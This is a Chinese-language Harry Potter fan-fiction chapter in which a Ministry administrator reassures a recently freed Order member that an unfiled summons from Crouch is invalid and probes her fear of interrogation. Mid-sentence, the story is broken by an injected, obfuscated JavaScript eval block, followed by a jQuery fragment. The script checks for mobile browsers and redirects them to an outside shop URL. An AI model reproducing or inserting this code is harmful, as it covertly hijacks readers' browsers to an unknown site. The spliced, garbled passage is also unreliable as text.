赛穆尔的视线落到茶几上。
那封信就放在那里,魔法法律执行司的红色印章格外显眼。
艾米丽刚刚稍微放松一点的身体重新绷紧。
赛穆尔拿起那封信,“你什么时候收到的?”
“上午。”
“看过了?”
“嗯。”
“准备去?”
艾米丽停了一下,“当然要去。”
赛穆尔抬眼,“为什么?”
她皱起眉,“因为这是强制传唤。”
“不是。”
艾米丽愣住。
赛穆尔已经翻到了最后一页。
他的手指点了一下纸面。
“它没有威森加摩行政办公室签章,也没有经过正式备案。”
艾米丽看着他。
赛穆尔毕业以后便进入魔法部工作,如今还在威森加摩行政办公室。那是一个远没有傲罗办公室那么引人注目的地方,处理的却恰恰是魔法部最容易让人失去耐心的东西——手续、记录、授权,以及各部门想要强制某个人做什么以前必须留下的那一整套证明。
迈克尔,他最好的朋友,至少在迈克尔眼里是这样,曾因此评价:赛姆工作以后越来越像一份活着的行政条例。
赛穆尔本人对此从未表示赞同,当然也没有真正否认。
“可是这上面有克劳奇的签字。”艾米丽说,“他是魔法法律执行司司长。”
“我知道。”
“那——”
“这不代表他可以自己给自己的强制要求赋予法律效力。”赛穆尔把信放下。语气依旧平静,“他可以要求询问你,可以递交强制传唤申请,也可以说明为什么认为必须立即进行,然后给行政办公室审核,由我们寄出。”
艾米丽渐渐明白了,“他没有送给你们?”
“没有。”
“他直接寄给我了?”
“对。”赛穆尔的神情冷了一点。“所以我来了。”
艾米丽看了一眼桌上的信,“那我……”
“你明天不用去。”
“真的吗?”她微微瞪大了眼睛。
赛穆尔的目光立刻从信上移回她脸上。他认识艾米丽很多年。
认识那个刚进拉文克劳的小姑娘。认识后来做了级长、会为了一个小问题专门给他写信询问的艾米丽,也认识那个成年礼上喝了酒,抓着他的手硬把他拖进舞池,还因为终于看见他笑了一下而高兴得差点摔倒的人。
她以前不会这样问,至少不会是这种语气。
“真的。”赛穆尔说,“明天不去。”
艾米丽的肩膀一点点松了下来。
赛穆尔看了很久,“艾米。”
“嗯?”
“你很怕去魔法部?”
“没有。”
赛穆尔没有表情地看着她。
艾米丽也看着他。过了几秒,她败下阵来,只能乖乖地说实话。“……我不知道算不算害怕,我知道他们为什么要问。”
她在沙发边慢慢坐下来。“他们应该问,如果我是他们,我也会查。一个凤凰社成员被食死徒抓走,突然回来,总要确认她有没有被控制,有没有泄露情报。”
“更别提还有西里斯。”艾米丽的手落到膝盖上,“我是他的未婚妻。我认识詹姆斯和莉莉。我知道他们用了赤胆忠心咒。”
“我应该去。”
赛穆尔听完,沉默了片刻,然后问:“你记不记得第一次来我办公室的时候,我跟你说过什么?”
艾米丽抬头。
她当然记得。那时她还没毕业,赛穆尔在一间并不大的办公室里,桌上堆满卷宗,耐心给她解释那些她原本认为毫无意义的手续。
手续之所以重要,是因为不能让一个有权力的人随时决定,谁必须回答问题,谁可以被带走,又有谁不值得得到解释。
艾米丽沉默下来。
赛穆尔看着她,“没有因为对象变成你,这句话就突然失效。”
“可是调查——”
“当然会继续。”他没有纵容她逃避,“该回答的问题,你以后还是要回答。”
艾米丽点头。
“但是不是明天。”赛穆尔停了一下,“也不是克劳奇先生写一封没有经过审批的信,就能把你带到他办公室里的时候。”
艾米丽低下头,又把那封信拿起来看了一眼,现在上面的“强制传唤”忽然没有刚才那么可怕了。
她把纸重新放回桌面。赛穆尔就在她旁边。她的手指很自然地碰到了他的袖口。停顿了一下,然后抓住。
赛穆尔低头。
艾米丽也低头看了一眼,然后重新抬头,无辜地眨眨眼。
“……”
塞姆尔顺着她的动作在沙发边坐下来,“艾米丽。”
“嗯?”
“你从上午开始一直在等明天?”
“当然。”她理所当然地回答,“它让去魔法部。”
“所以你一直在想这件事?想着去魔法部?”
艾米丽停顿片刻。“可能。”
赛穆尔问道,“那如果审讯是在这里呢?”
艾米丽几乎没有犹豫,“可以。”
“如果是别的魔法法律执行司的人?”
“也可以。”
“如果他要求单独谈?”
她没有回答。
客厅安静下来。
莱姆斯一直站得不远,原本并没有参与他们的谈话,这时却很轻地抬起了眼睛。
艾米丽盯着桌面,“为什么要单独?”
“有些证词需要排除其他人的影响。”
艾米丽的嘴唇动了一下,“我……我不知道。”
赛穆尔点头。他换了一个问题,“所以不去魔法部,只是在这里,你会好一点?”
“嗯。”
“允许有人陪着?”
“会。”
“如果有人要求你把魔杖放在门外?”
艾米丽身体很明显地僵了一下。
赛穆尔停住,声音放轻了一点,“艾米?”
“我会照做。”
赛穆尔没有继续沿着这个问题往下。
艾米丽过了一会儿才像意识到什么一样转头看他,“你在做什么?”
“什么?”
“你在问我问题。”
“我们一直在说话。”
“不是。”她眯起眼,终于又有了一点赛穆尔熟悉的神情,“你有目的。”
赛穆尔沉默一秒,“我当然有。”
“看吧。”艾米丽立刻坐直一点,“我就知道。”
“我今天本来就不只是为了告诉你这封信无效。”赛穆尔看着她,“我还为了来看看你。”
“……”这不是她设想中的目的。
“然后决定克劳奇下一次把申请正常送过来的时候,我该怎么办。”
她低头看了一眼自己还抓着他的手,感觉这似乎对自己的情况评估不太有优势,刚准备松开。
赛穆尔却很自然地翻了一下手腕,反过来握住了她。
“我没有让你松。”他说得十分平常。
“所以你现在决定了吗?”艾米丽收紧了一点手指。
“我决定了一部分,比如我现在不会批准把你强制带到魔法部。”
她抬眼,“因为我不想去?”
“不是,是因为你目前明显无法正常承受这种形式的询问。”
“我可以回答问题。”
“我知道。”
“我的记忆也没有问题。”
“我也没有说你的记忆有问题。”
“那——”
赛穆尔看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17859363|211954||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看他们交握的手。
艾米丽的声音停住,果然!她就知道应该松手的,想到这里她有些幽怨地看向塞姆尔。
“你刚才听见不用去的时候,抓住我了。”
“……”
“我问如果必须单独接受询问,你说不知道。”
“……”
“问到魔杖,你开始紧张。”赛穆尔继续道:“这并不能证明你不能接受调查。但是足以说明,不能有人因为急着结案,就明天把你塞进魔法部某间房里连续问几个小时。”
艾米丽沉默很久,最后才小声说道:“我没有那么严重。”
赛穆尔只是看着她。
她被看得越来越不自在,“你不要这样看我。”
“哪样?”
“就是这种……我说什么你都不相信的样子。”
“我相信你认为自己没有那么严重。”
“这句话更讨厌。”
“嗯。”
艾米丽瞪他。
赛穆尔终于有了一点很淡的笑意。
艾米丽看见了。“你笑了。”
“没有。”
她怔了一下,随即笑出了声。“你怎么还是这样。”
“我一直这样。”
那一点笑意在她脸上停留了几秒。
赛穆尔面无表情地靠回沙发。
安静了一会儿,忽然说道:“迈克尔最近准备回英国。”
艾米丽果然转过头,“什么?”
“他和娜塔莉最近在商量回来。”
“真的?”
“嗯。”
“带着你教子一起?”
赛穆尔看她一眼,“他们总不能把孩子留在法国。”
“我不是这个意思。”艾米丽终于有些像以前一样瞪他,“我是说,他们真的准备一家人都回来?”
“在考虑。”
“为什么这么突然?”
“战争结束了。”
房间里刚刚恢复的一点轻松安静下来。
艾米丽低下眼睛。
战争结束了。
她到现在还是很难习惯这句话。
对远在法国的人而言,它似乎意味着终于可以回来,重新考虑工作、房子,还有孩子以后在哪里长大。可对她来说,战争结束以后留下来的,首先却是詹姆斯、莉莉、彼得,还有阿兹卡班里的西里斯。
过了一会儿,艾米丽自己重新开口:“娜塔莉真的愿意吗?”
“所以还在商量。”
她想了想,“他不打球了?”
“还在打。”
“那他回来之后要怎么办?”
“这就是他最近写信抱怨得最多的事情之一。”赛穆尔看着她。“他还问了你。”
“他知道?”
“知道你失踪,也知道你已经回来。”
艾米丽不用问也知道一定是塞姆尔告诉他的,“那他知道我被抓以后发生了什么吗?”
“不知道。”
“那别告诉他。”
“为什么?”
“他现在有娜塔莉,还有孩子。我不想让他担心。”
赛穆尔看了她两秒,“他已经担心了。”
“……”
“他知道你回来以后,三个小时里给我写了两封信。”赛穆尔没好气地看了她一眼,“要不是你这两年一直瞒着我们,你现在也是孩子教母。”
艾米丽愣了一下,“什么?”
“迈克尔和娜塔莉原本打算让你做教母。”赛穆尔说道,“他们当时都打算推迟洗礼了。”
艾米丽明显有些反应不过来,“为什么没人告诉我?”
“迈克尔说他告诉过你。”
艾米丽努力回忆了一会儿,“那时候我真的太忙了。”
赛穆尔看着她,“我知道。你一直很忙。”